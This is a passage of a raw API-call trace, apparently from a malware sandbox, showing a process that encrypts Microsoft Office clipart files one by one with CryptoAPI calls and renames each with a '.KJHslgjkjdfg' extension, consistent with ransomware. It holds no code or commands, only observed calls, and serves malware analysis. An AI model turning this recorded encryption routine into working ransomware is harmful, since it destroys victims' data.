lpOverlapped=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.270] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.270] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.270] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.270] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.270] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.270] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13fc, lpOverlapped=0x0) returned 1 [0190.271] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1400, dwBufLen=0x1400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1400) returned 1 [0190.272] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.272] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1400, lpOverlapped=0x0) returned 1 [0190.272] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.272] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.272] SetEndOfFile (hFile=0x114) returned 1 [0190.275] GetProcessHeap () returned 0x2a0000 [0190.275] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.275] GetProcessHeap () returned 0x2a0000 [0190.275] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.kjhslgjkjdfg")) returned 1 [0190.277] CloseHandle (hObject=0x114) returned 1 [0190.277] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1 [0190.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.278] GetProcessHeap () returned 0x2a0000 [0190.278] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.278] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.278] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.278] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.279] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.279] GetProcessHeap () returned 0x2a0000 [0190.279] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.279] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.279] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.279] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.281] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.281] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.281] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.281] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.281] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.281] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.281] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.281] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.282] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x660, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x660, lpOverlapped=0x0) returned 1 [0190.282] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x660, dwBufLen=0x660 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x660) returned 1 [0190.282] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.282] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x660, lpOverlapped=0x0) returned 1 [0190.282] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.282] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.282] SetEndOfFile (hFile=0x114) returned 1 [0190.284] GetProcessHeap () returned 0x2a0000 [0190.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.352] GetProcessHeap () returned 0x2a0000 [0190.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.kjhslgjkjdfg")) returned 1 [0190.354] CloseHandle (hObject=0x114) returned 1 [0190.354] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1 [0190.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.355] GetProcessHeap () returned 0x2a0000 [0190.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.356] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.356] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.356] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.361] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.362] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.362] GetProcessHeap () returned 0x2a0000 [0190.362] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.362] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.362] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.362] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.362] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.362] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.362] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.362] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.363] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.363] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.363] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.363] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5cc, lpOverlapped=0x0) returned 1 [0190.363] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5d0) returned 1 [0190.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.363] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5d0, lpOverlapped=0x0) returned 1 [0190.363] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.363] SetEndOfFile (hFile=0x114) returned 1 [0190.366] GetProcessHeap () returned 0x2a0000 [0190.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.366] GetProcessHeap () returned 0x2a0000 [0190.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.kjhslgjkjdfg")) returned 1 [0190.368] CloseHandle (hObject=0x114) returned 1 [0190.368] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1 [0190.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.370] GetProcessHeap () returned 0x2a0000 [0190.370] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.370] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.371] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.373] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.373] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.373] GetProcessHeap () returned 0x2a0000 [0190.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.373] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.373] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.373] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.373] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.373] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.373] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.373] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.373] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.374] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.374] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.374] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.374] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x184c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x184c, lpOverlapped=0x0) returned 1 [0190.374] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1850, dwBufLen=0x1850 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1850) returned 1 [0190.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.375] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1850, lpOverlapped=0x0) returned 1 [0190.375] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.375] SetEndOfFile (hFile=0x114) returned 1 [0190.378] GetProcessHeap () returned 0x2a0000 [0190.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.378] GetProcessHeap () returned 0x2a0000 [0190.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.kjhslgjkjdfg")) returned 1 [0190.380] CloseHandle (hObject=0x114) returned 1 [0190.380] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1 [0190.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.381] GetProcessHeap () returned 0x2a0000 [0190.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.381] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.381] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0190.383] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.383] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.383] GetProcessHeap () returned 0x2a0000 [0190.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.383] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.383] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.383] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.384] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.384] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.384] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.384] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.384] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, 